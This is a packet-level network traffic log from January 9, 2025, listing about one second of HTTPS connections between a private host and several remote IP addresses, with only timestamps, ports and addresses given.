Jan 9, 2025 13:19:30.584392071 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.584412098 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.632440090 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.696134090 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.696434975 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.696450949 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.696856976 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.697144985 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.697221994 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.697280884 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.704333067 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.704538107 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.704545975 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.705029964 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.705384016 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.705384016 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.705399036 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.705478907 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.708302975 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.708334923 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.708409071 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.708415031 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.708467960 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.709125996 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.709188938 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.709253073 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.709450960 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.709461927 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.709558010 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.709872961 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.709887981 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.739335060 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.746292114 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.746404886 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.746629000 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.746715069 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.746731043 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.746779919 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.746826887 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.747950077 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:30.747981071 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:30.748054981 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:30.748214006 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:30.748226881 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:30.759670973 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.759841919 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.760298014 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.760304928 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.763827085 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.764024973 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.764250040 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.764250040 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.764259100 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.764410973 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.787035942 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.787245035 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.787257910 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.788161993 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.788232088 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.788449049 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.788508892 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.788543940 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.807405949 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.807410955 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.814311028 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.814620018 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.814632893 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.814920902 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.815171003 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.815224886 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.815258980 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.831334114 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.838438034 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.838466883 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.838474989 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.838505030 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.838603973 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.838614941 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.838823080 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.838901997 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.839103937 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.839113951 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.839122057 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.839162111 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.839354992 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.839370012 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.855328083 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.855427980 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.855448008 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.887515068 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.887679100 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.887753963 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.887835979 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.888248920 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.888267994 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.914211035 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.914491892 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.914499044 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.917823076 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.917907000 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.918133974 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.918206930 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.918313980 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.918318987 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.934983969 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.935229063 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.935240030 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.936285973 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.936467886 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.936590910 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.936652899 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.936688900 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.946788073 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.946991920 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.947010040 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.948462009 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.948628902 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.948734999 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.948812962 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.948854923 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.966460943 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.982445955 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.982453108 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.984734058 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:30.984903097 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:30.984916925 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:30.985897064 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:30.985961914 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:30.986176968 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:30.986233950 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:30.986294985 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:30.986323118 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:30.991333961 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.997350931 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.997364044 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.022902966 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.023281097 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.023294926 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.026832104 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.027167082 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.027167082 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.027348042 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.027360916 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.029354095 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.029882908 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:31.029890060 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:31.045391083 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.049092054 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.049109936 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.049283028 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.049292088 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.049350023 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.049770117 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.049823046 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.049895048 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.050025940 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.050062895 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.050086021 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.050123930 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.050683022 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.050719023 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.050765038 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.050774097 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.050820112 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.051487923 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.051561117 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.051609993 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.052871943 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.052963972 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.053050995 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.053555012 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.053590059 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.054121017 CET	49881	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.054169893 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.054260015 CET	49881	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.054697037 CET	49881	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.054737091 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.054953098 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.054963112 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.056772947 CET	49882	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.056811094 CET	443	49882	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.056907892 CET	49882	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.057209969 CET	49882	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.057240963 CET	443	49882	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.058001041 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.058023930 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.058105946 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.058365107 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.058392048 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.071362019 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.076368093 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.076380014 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.076385021 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:31.123421907 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.137458086 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.137480021 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.137487888 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.137521982 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.137562990 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.137578964 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.137746096 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.138149023 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.138158083 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.138190031 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.138223886 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.138266087 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.140578032 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.140614986 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.140695095 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.140871048 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.140886068 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.151598930 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.151766062 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.151833057 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.152185917 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.152196884 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.154735088 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.154791117 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.154875994 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.155030966 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.155047894 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.274547100 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.274573088 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.274666071 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.274672985 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.274756908 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.275672913 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.275688887 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286154032 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286174059 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286181927 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286200047 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286241055 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286386013 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.286402941 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286462069 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.286766052 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286829948 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.286848068 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.286885023 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.287535906 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.287552118 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.322736979 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.322873116 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.322896957 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.322962999 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.322978020 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.323010921 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.323296070 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.323321104 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.323328018 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.323375940 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.323402882 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.323452950 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.323503971 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.323564053 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.323797941 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.323812008 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.323820114 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.323862076 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.324053049 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.324116945 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.324158907 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.328430891 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.328469992 CET	443	49886	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.328516960 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.328538895 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.328702927 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.329209089 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.329225063 CET	443	49886	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.333070040 CET	49887	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.333105087 CET	443	49887	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.333288908 CET	49887	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.333561897 CET	49887	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.333579063 CET	443	49887	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.334466934 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.334501982 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.334593058 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.334821939 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.334842920 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.355896950 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:31.356000900 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:31.356280088 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:31.356915951 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:31.356931925 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:31.365282059 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.365359068 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.365442991 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.366353989 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.366369963 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.368244886 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.368294001 CET	443	49889	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.368387938 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.368621111 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.368637085 CET	443	49889	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.414489031 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.414870024 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.414896011 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.415205956 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.415601015 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.415656090 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.415782928 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.463329077 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.508203030 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:31.508788109 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:31.508802891 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:31.509175062 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:31.509618998 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:31.509618998 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:31.509634018 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:31.509677887 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:31.552748919 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:31.767963886 CET	443	49882	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.768296957 CET	49882	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.768362045 CET	443	49882	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.768857002 CET	443	49882	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.769226074 CET	49882	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.769263029 CET	49882	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.769275904 CET	443	49882	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.769355059 CET	443	49882	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.771269083 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.771356106 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.771426916 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.772259951 CET	49878	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.772274971 CET	443	49878	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.772723913 CET	49890	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.772742987 CET	443	49890	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.772823095 CET	49890	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.773200035 CET	49890	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.773214102 CET	443	49890	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.784173965 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.784440041 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.784462929 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.784784079 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.785134077 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.785207033 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.785253048 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.823513031 CET	49882	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.827341080 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.838356018 CET	49883	443	192.168.2.16	89.46.108.67
